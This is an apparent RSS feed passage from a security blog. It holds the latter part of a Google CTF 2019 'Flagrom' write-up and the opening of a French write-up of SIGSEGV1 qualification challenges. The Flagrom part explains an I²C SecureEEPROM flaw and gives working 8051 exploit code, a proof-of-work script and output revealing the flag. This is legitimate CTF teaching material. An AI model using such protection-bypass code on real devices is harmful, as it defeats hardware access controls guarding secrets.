[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
Clean exit.</span></p>
<div style="text-align: justify;"><b>Flagrom </b>operates as follows:</div>
<div style="text-align: justify;">
<ul>
<li>Get a proof of work,</li>
<li>Get usercode from the user (the payload),</li>
<li>Execute the firmware,</li>
<li>Execute the usercode.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Let&rsquo;s take a look at the firmware code:</div>
<p><span class="w-code"><span class="sc16">void</span> <span class="sc11">main</span><span class="sc10">(</span><span class="sc16">void</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">write_flag</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">secure_banks</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">remove_flag</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">write_welcome</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">POWEROFF</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></p>
<div style="text-align: justify;">The <i>main()</i> function sum up all actions:</div>
<div style="text-align: justify;">
<ul>
<li>The flag is written in the SecureEEPROM, starting at address 64.</li>
<li>The second 64-byte bank (the one with the flag) is <b>secured against access</b>.</li>
<li>The <b>flag is removed</b> from the main program memory.</li>
<li>The string « Hello there » is written in the SecureEEPROM, starting at address 0.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Understanding the SecureEEPROM</h3>
</div>
<div style="text-align: justify;">All communications with the SecureEEPROM is perform with the I²C protocol. Before going into the SecureEEPROM code, it is necessary to understand how I²C works.</div>
<div style="text-align: justify;">It is a 2-wires master-slave communication protocol widely used in hardware. The first wire, named SCL, serves as a clock to indicated when a signal is safe for reading. The second wire, named SDA, holds the data to be transmitted.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-6CXt0-ApxMw/XTb16Ga-g3I/AAAAAAAAAps/kHpJlrFLRVQrl_Up6zGiz8cm4IuriivTQCEwYBhgL/s1600/1.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-6CXt0-ApxMw/XTb16Ga-g3I/AAAAAAAAAps/kHpJlrFLRVQrl_Up6zGiz8cm4IuriivTQCEwYBhgL/s640/1.png" width="640" height="106" border="0" data-original-height="267" data-original-width="1600" /></a></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Timing diagram of a I²C communication (source: Wikipedia)</span></i></div>
</div>
<div style="text-align: justify;">An I²C transaction is a composed of:</div>
<div style="text-align: justify;">
<ul>
<li>A <i>start bit</i> (in yellow) which indicate a new transaction is about to be sent,</li>
<li>Several data bits (in green), indicated with a high SCL,</li>
<li>A <i>stop bit</i> (in yellow) which indicate the end on the transaction.</li>
</ul>
</div>
<div style="text-align: justify;">After every byte, a special state of SDA and SCL allows slaves to acknowledge (ACK) the reception of data.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">I²C specifications define an addressing structure to indicate which slave is the recipient:</div>
<div style="text-align: justify;">
<ul>
<li>The address constitutes the first 7 bits of the transaction (most significant bit first).</li>
<li>The 8th bit indicates whether it is a read (1) or write (0) action.</li>
<li>The slave acknowledges here (first byte).</li>
<li>The rest is the data which is device-specific.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<table id="table_wiki">
<tbody>
<tr>
<td style="background-color: #dfdcd4;" rowspan="4">Start</td>
<td colspan="7">Slave address</td>
<td style="background-color: #dacdeb;">R/W</td>
<td style="background-color: #dfdcd4;" rowspan="4">ACK</td>
<td rowspan="4">Data</td>
<td style="background-color: #dfdcd4;" rowspan="4">Stop</td>
</tr>
<tr>
<td>0</td>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td style="background-color: #dacdeb;">7</td>
</tr>
<tr>
<td rowspan="2">MSB</td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2">LSB</td>
<td style="background-color: #dacdeb;">0 = R</td>
</tr>
<tr>
<td style="background-color: #dacdeb;">1 = W</td>
</tr>
</tbody>
</table>
<div style="text-align: center;"><i><span style="font-size: x-small;">Addressing structure of an I²C transaction</span></i></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">For the SecureEEPROM, two addresses are defined in <i>firmware.c</i>:</div>
<div style="text-align: justify;">
<ul>
<li>The address of the memory module used to read and write data in the EEPROM,</li>
<li>The address of the security module used to secure EEPROM data banks.</li>
</ul>
</div>
<div style="text-align: justify;">The messages to the security module do not exactly follows this structure. A 4-bit prefix is used as slave address, while the remaining four bits (bits 4 to 7) are used to indicate which 64-bytes bank to secure.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Let&rsquo;s now take a deeper look at the hardware description of the SecureEEPROM. It is written in SystemVerilog syntax. If you are not comfortable with it, you should first read the Wikipedia page to understand the basis.</div>
<div style="text-align: justify;">Some procedural blocks are used to keep track of the state of the I²C bus within the program:</div>
<div style="text-align: justify;">
<ul>
<li><b>i2c_scl_state </b>keeps track of the state of the SCL wire. It may be stable high, stable low or on a rising or falling edge.</li>
<li><b>i2c_start </b>and <b>i2c_stop </b>are set whenever a start or stop bit is sent on the bus.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">The main part of the SecureEEPROM hardware is a Flip-Flop procedural block (<b>always_ff</b>) which defines a finite state machine to handle I²C communications and actions on the EEPROM.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"></div>
<p><a style="margin-left: 1em; margin-right: 1em; text-align: center;" href="https://1.bp.blogspot.com/-0wpaO63mcJY/XTcCOF4K8UI/AAAAAAAAAqM/8NlIiuRYg8kb8rQPHZJsz4wrYO6JydVVgCLcBGAs/s1600/2.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-0wpaO63mcJY/XTcCOF4K8UI/AAAAAAAAAqM/8NlIiuRYg8kb8rQPHZJsz4wrYO6JydVVgCLcBGAs/s640/2.png" width="609" height="640" border="0" data-original-height="1160" data-original-width="1105" /></a></p>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Finite state machine of the SecureEEPROM</span></i></div>
</div>
<div style="text-align: justify;">
<ul>
<li>The SecureEEPROM start in the state I2C_IDLE where it waits for a start bit to be received.</li>
<li>After the start bit, it reads the first control byte to get the slave address (control_prefix) to perform the right actions.</li>
<li>When the recipient is the security module, the bank index is contained in the least four significant bits of the control. It is directly secured and the SecureEEPROM returns in the I2C_IDLE state.</li>
<li>When the recipient is the EEPROM module, the action depends on the R/W bit of the control byte:
<ul>
<li>For write action, the EEPROM first read an address before writing into memory.</li>
<li>For read action, the EEPROM need to have already an address loaded before sending bytes of its memory. To read the EEPROM from the user program, one should
<ul>
<li>Start a write transaction to the EEPROM module and load the address,</li>
<li>Start a new read transaction to the EEPROM module without a stop bit,</li>
<li>Read the required number of bytes,</li>
<li>Send a stop bit to end the transaction.</li>
</ul>
</li>
</ul>
</li>
</ul>
<ul>
<li>In any state, the reception of a stop bit will clear the loaded address and transition to the I2C_IDLE state.</li>
<li>In any state, the reception of a start bit will transition to the I2C_START state without clearing the loaded address.</li>
</ul>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3>Reading secured areas</h3>
</div>
<div style="text-align: justify;">
<h4>Finding the vulnerability</h4>
</div>
<div style="text-align: justify;">The protection of the memory, in the EEPROM, is performed at two stages:</div>
<div style="text-align: justify;">
<ul>
<li>When an address is loaded, if the pointed memory location is secured, the address is tainted as invalid (<b>i2c_address_valid</b> = 0),</li>
<li>After each read or write action, the loaded address is increased only if the security of the next address is the same as the security of the current address.</li>
</ul>
</div>
<div style="text-align: justify;">The latter condition is strange: why not only check whether next address is secured? It means that it is possible to read secured address if the current address is secured. However, we cannot load a secured address because of the former condition.</div>
<div style="text-align: justify;">What about changing the security of the current address after loading it?</div>
<div style="text-align: justify;">
<ul>
<li>When a bank is secured, the loaded address is not checked nor invalidated.</li>
<li>We cannot send any stop bit otherwise the loaded address would be invalidated.</li>
<li>However, we can use the start bit to start a new transaction while keeping the address loaded.</li>
</ul>
</div>
<div style="text-align: justify;">
<p>With this in mind, a path of three transactions can be found to read secured areaFirst load an address in the first unprotected bank and end with a start bit:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-ea3gOmmP50s/XTcDq6OL3BI/AAAAAAAAAqk/V7qRFMMvEf0HBix9pchtVUwdC3qL-SitgCLcBGAs/s1600/3.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-ea3gOmmP50s/XTcDq6OL3BI/AAAAAAAAAqk/V7qRFMMvEf0HBix9pchtVUwdC3qL-SitgCLcBGAs/s640/3.png" width="640" height="454" border="0" data-original-height="611" data-original-width="860" /></a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;"> </span></i></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — load an unprotected address</span></i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<p>Then secure the first bank:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-87VxHPpRYPI/XTcD8u8jqRI/AAAAAAAAAqs/84LQ1r5eTn0Mc7GtlQSJDJKwBuNEXtbLACLcBGAs/s1600/4.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-87VxHPpRYPI/XTcD8u8jqRI/AAAAAAAAAqs/84LQ1r5eTn0Mc7GtlQSJDJKwBuNEXtbLACLcBGAs/s640/4.png" width="640" height="280" border="0" data-original-height="379" data-original-width="861" /></a></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — secure the bank of the loaded address</span></i></div>
</div>
<div style="text-align: justify;">
<p>Finally, start a read action and read past the current bank boundaries:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-yh4f-R4YeXc/XTcEDSqMs_I/AAAAAAAAAqw/qASujmVFdwAzk1X41k41i55AjFM41LyHwCLcBGAs/s1600/5.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-yh4f-R4YeXc/XTcEDSqMs_I/AAAAAAAAAqw/qASujmVFdwAzk1X41k41i55AjFM41LyHwCLcBGAs/s640/5.png" width="590" height="640" border="0" data-original-height="866" data-original-width="800" /></a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — read past the current bank</span></i></div>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Exploitation from a user code</h4>
</div>
<div style="text-align: justify;">Now that the exploitation path is known, a user code needs to be written to exploit it. The 8051 microcontroller provides a high-level interface for I²C communications.</div>
<p><span class="w-code"><span class="sc16">void</span> <span class="sc11">seeprom_write_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">addr</span><span class="sc10">,</span> <span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">value</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">seeprom_wait_until_idle</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">I2C_ADDR</span> <span class="sc10">=</span> <span class="sc11">SEEPROM_I2C_ADDR_MEMORY</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_LENGTH</span> <span class="sc10">=</span> <span class="sc4">2</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_ERROR_CODE</span> <span class="sc10">=</span> <span class="sc4">0</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_DATA</span><span class="sc10">[</span><span class="sc4">0</span><span class="sc10">]</span> <span class="sc10">=</span> <span class="sc11">addr</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_DATA</span><span class="sc10">[</span><span class="sc4">1</span><span class="sc10">]</span> <span class="sc10">=</span> <span class="sc11">value</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_RW_MASK</span> <span class="sc10">=</span> <span class="sc4">0b00</span><span class="sc10">;</span> <span class="sc1">// 2x Write Byte<br />
</span><span class="sc0"><br />
</span><span class="sc11">I2C_STATE</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">seeprom_wait_until_idle</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></p>
<div style="text-align: justify;">It is, however, not possible to change the address within the same communication. A raw access to I²C wires is however provided:</div>
<p><span class="w-code"><span class="sc11">__sfr</span> <span class="sc11">__at</span><span class="sc10">(</span><span class="sc4">0xfa</span><span class="sc10">)</span> <span class="sc11">RAW_I2C_SCL</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">__sfr</span> <span class="sc11">__at</span><span class="sc10">(</span><span class="sc4">0xfb</span><span class="sc10">)</span> <span class="sc11">RAW_I2C_SDA</span><span class="sc10">;</span></span></p>
<div style="text-align: justify;">Wikipedia provides an <a href="https://en.wikipedia.org/wiki/I%C2%B2C#Example_of_bit-banging_the_I%C2%B2C_master_protocol">example in C code</a> in the I²C page. It can be used as a base for the exploitation program. It gives two high level function to read and write bytes:</div>
<p><span class="w-code"><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_start</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_stop</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">byte</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">i2c_read_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_stop</span><span class="sc10">);</span></span></p>
<div style="text-align: justify;">The acknowledgement of the function i2c_read_byte needs to be modified for it to work with the EEPROM. The EEPROM can be exploited with the following code:</div>
<p><span class="w-code"><span class="sc9">#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1)<br />
#define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0)<br />
</span><span class="sc0"><br />
</span><span class="sc16">void</span> <span class="sc11">main</span><span class="sc10">(</span><span class="sc16">void</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc16">int</span> <span class="sc11">i</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">« start user program\n »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Load address 0 */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_CTRL_WRIT</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">0</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Secure all banks */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_ADDR_SECURE</span> <span class="sc10">|</span> <span class="sc4">0b1111</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Read 255 bytes of memory */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_CTRL_READ</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc10">(</span><span class="sc11">i</span><span class="sc10">=</span><span class="sc4">0</span><span class="sc10">;</span> <span class="sc11">i</span><span class="sc10">&lt;</span><span class="sc4">255</span><span class="sc10">;</span> <span class="sc11">i</span><span class="sc10">++)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc10">(</span><span class="sc11">i</span><span class="sc10">%</span><span class="sc4">64</span> <span class="sc10">==</span> <span class="sc4">0</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">« \n »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc11">CHAROUT</span> <span class="sc10">=</span> <span class="sc11">i2c_read_byte</span><span class="sc10">(</span><span class="sc4">0</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">« \n »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">POWEROFF</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></p>
<div style="text-align: justify;">The full exploitation program can be found <a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/solve/hack.c">here</a>. On Linux, the compiler sdcc supports Inter 8051 microcontroller and may be used. It generates an IntelHex format which should be converted to a raw binary. Some Python libraries exist to perform the conversion.</div>
<p><span class="w-code">$ <span class="w-cli">{ echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=../solve/exit.so ./flagrom</span><br />
What&rsquo;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4?<br />
That looks wrong. Good bye.<br />
Wrong answer. Good bye.<br />
What&rsquo;s the length of your payload?<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
start user program<br />
Hello there.<br />
<span class="w-grepped">On the real server the flag is loaded here.</span><br />
Clean exit.<br />
</span></p>
<div style="text-align: justify;">The code works just fine on the local instance and we successfully get a fake flag.</div>
<div style="text-align: justify;">
<h3>Exploiting the remote service</h3>
</div>
<div style="text-align: justify;">
<h4>Completing the proof of work</h4>
</div>
<div style="text-align: justify;">To exploit the SecureEEPROM remotely, the final step is to perform the proof of work. Nothing complex in it, just brute force until you find a valid proof. Here is a Python code doing that:</div>
<p><span class="w-code"><span class="sc5">from</span> <span class="sc11">pwn</span> <span class="sc5">import</span> <span class="sc10">*</span><span class="sc0"><br />
</span><span class="sc11">io</span> <span class="sc10">=</span> <span class="sc11">remote</span><span class="sc10">(</span><span class="sc4">&lsquo;flagrom.ctfcompetition.com&rsquo;</span><span class="sc10">,</span> <span class="sc2">1337</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc11">ask</span> <span class="sc10">=</span> <span class="sc11">io</span><span class="sc10">.</span><span class="sc11">recvuntil</span><span class="sc10">(</span><span class="sc4">&lsquo;\n&rsquo;</span><span class="sc10">).</span><span class="sc11">split</span><span class="sc10">()</span><span class="sc0"><br />
</span><span class="sc11">start</span><span class="sc10">,</span> <span class="sc11">md5</span> <span class="sc10">=</span> <span class="sc11">ask</span><span class="sc10">[</span><span class="sc2">11</span><span class="sc10">],</span> <span class="sc11">ask</span><span class="sc10">[</span><span class="sc2">16</span><span class="sc10">][:-</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3">« Proof of work with: »</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3"> » start = %s »</span> <span class="sc10">%</span> <span class="sc11">start</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3"> » md5 = %s »</span> <span class="sc10">%</span> <span class="sc11">md5</span><span class="sc0"><br />
</span><span class="sc5">while</span> <span class="sc5">True</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">r</span> <span class="sc10">=</span> <span class="sc11">random</span><span class="sc10">.</span><span class="sc11">random</span><span class="sc10">()</span><span class="sc0"><br />
</span><span class="sc11">s</span> <span class="sc10">=</span> <span class="sc11">start</span> <span class="sc10">+</span> <span class="sc11">str</span><span class="sc10">(</span><span class="sc11">r</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">hashlib</span><span class="sc10">.</span><span class="sc11">md5</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">).</span><span class="sc11">hexdigest</span><span class="sc10">().</span><span class="sc11">startswith</span><span class="sc10">(</span><span class="sc11">md5</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3">« Found %s »</span> <span class="sc10">%</span> <span class="sc11">s</span><span class="sc0"><br />
</span><span class="sc5">break</span><span class="sc0"><br />
</span></span></p>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Retrieving the flag</h4>
</div>
<div style="text-align: justify;">A complete exploit can be downloaded <a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/solve/exploit.py">here</a>. It handles the compilation of the user code, performs the proof of work and run the user code.</div>
<p><span class="w-code">$ <span class="w-cli">python exploit.py remote hack.c</span><br />
[+] Starting local process &lsquo;./flagrom&rsquo;: pid 7333<br />
Sending payload<br />
Received data<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[+] Receiving all data: Done (467B)<br />
[*] Process &lsquo;./flagrom&rsquo; stopped with exit code 0 (pid 7333)<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
start user program<br />
Hello there<br />
<span class="w-grepped">CTF{flagrom-and-on-and-on}</span><br />
Clean exit.</span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/">GoogleCTF 2019 Quals – Flagrom Challenge Writeup</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[CTF] Writeup du round de qualification SIGSEGV1</title>
		<link>https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/</link>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Thu, 18 Oct 2018 12:58:26 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[compte rendu]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[rtfm]]></category>
		<category><![CDATA[writeup]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15580</guid>

					<description><![CDATA[<p>&#160; Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l&#8217;équipe formant l&#8217;association RTFM a grandi avec une passion pour la technologie et les sujets qui s&#8217;y rattachent. L&#8217;objectif de l&#8217;association est de créer un...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/">[CTF] Writeup du round de qualification SIGSEGV1</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-vb3Cd-d2WLQ/W8X464x5wTI/AAAAAAAAAi0/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs/s1600/_header.png"><img loading="lazy" decoding="async" src="https://2.bp.blogspot.com/-vb3Cd-d2WLQ/W8X464x5wTI/AAAAAAAAAi0/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs/s640/_header.png" width="640" height="300" border="0" data-original-height="300" data-original-width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l&rsquo;équipe formant <b>l&rsquo;association RTFM</b> a grandi avec une passion pour la technologie et les sujets qui s&rsquo;y rattachent.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;objectif de l&rsquo;association est de créer un événement français sur le thème de la sécurité informatique, qui se déroulera le <b>1er décembre 2018 à l&rsquo;école 42</b>.<br />
Celui-ci, nommé « <b>SIGSEGv1</b> » se baserait sur trois axes :</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<ul>
<li>Niveau technique avancé</li>
<li>Accessibilité géographique</li>
<li>Événement à taille humaine</li>
</ul>
<div style="text-align: justify;">Cet événement mettra en avant différents sujets tels que le Reverse Engineering, des démonstrations d&rsquo;attaques physiques ainsi que du hacking hardware et bas-niveau.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;accès à l&rsquo;événement a été rendu possible sur validation de <i>challenges </i>de qualification, qui étaient <a href="https://qual.rtfm.re/" target="_blank" rel="noopener">disponibles</a> sur la période du 28 septembre au 12 octobre 2018. Plusieurs collaborateurs de Wavestone ont individuellement pris part à ces qualifications, dont nous présentons ci-dessous les <i>writeups</i>.</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<h2 style="clear: both; text-align: left;">Web-serveur : la simplicité (par ShrewkRoot)</h2>
<div>
<div style="text-align: justify;"><b>Description : </b>Bienvenue sur le site le plus simple du monde avec des failles basiques ! Aucun bruteforce n&rsquo;est necessaire. Merci de ne pas utiliser Dirbuster et outils équivalents sous peine d&rsquo;etre bannis sur le challenge.</div>
</div>
<div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le site se présente sous la forme d&rsquo;une page blanche contenant une vidéo du rappeur Orelsan :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-QY_EgD3XFKg/W8YB3RodG7I/AAAAAAAAAjI/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs/s1600/1_1.png"><img loading="lazy" decoding="async" src="https://4.bp.blogspot.com/-QY_EgD3XFKg/W8YB3RodG7I/AAAAAAAAAjI/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs/s640/1_1.png" width="640" height="316" border="0" data-original-height="409" data-original-width="826" /></a></div>
<p>&nbsp;</p>
<style type="text/css">
.sc0 { font-family: monospace !important; }<br />.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br />.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br />.sc6 { color: rgb(225, 226, 207); font-family: monospace !important; }<br />.sc8 { font-family: monospace !important; }<br />.sc9 { font-weight: bold; color: rgb(103, 140, 177); font-family: monospace !important; }<br />.sc18 { font-weight: bold; color: rgb(217, 85, 193); font-family: monospace !important; }<br />.sc119 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc121 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc122 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc123 { color: rgb(103, 140, 177); font-family: monospace !important; }<br />.sc127 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc118 { font-family: monospace !important; }<br />span.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br />.w-user { color: cornflowerblue; font-family: monospace !important; }<br />.w-root { color: lightcoral; font-family: monospace !important; }<br />.w-server { color: chartreuse; font-family: monospace !important; }<br />.w-cli { color: lightskyblue; font-family: monospace !important; }<br />.w-grepped { color: red; font-family: monospace !important; }<br />.w-all { font-family: monospace !important; }<br />.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br />.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc11 { font-family: monospace !important; }<br />.sc41 { font-family: monospace !important; }<br />.sc43 { color: rgb(129, 142, 150); font-family: monospace !important; }<br />.sc46 { font-family: monospace 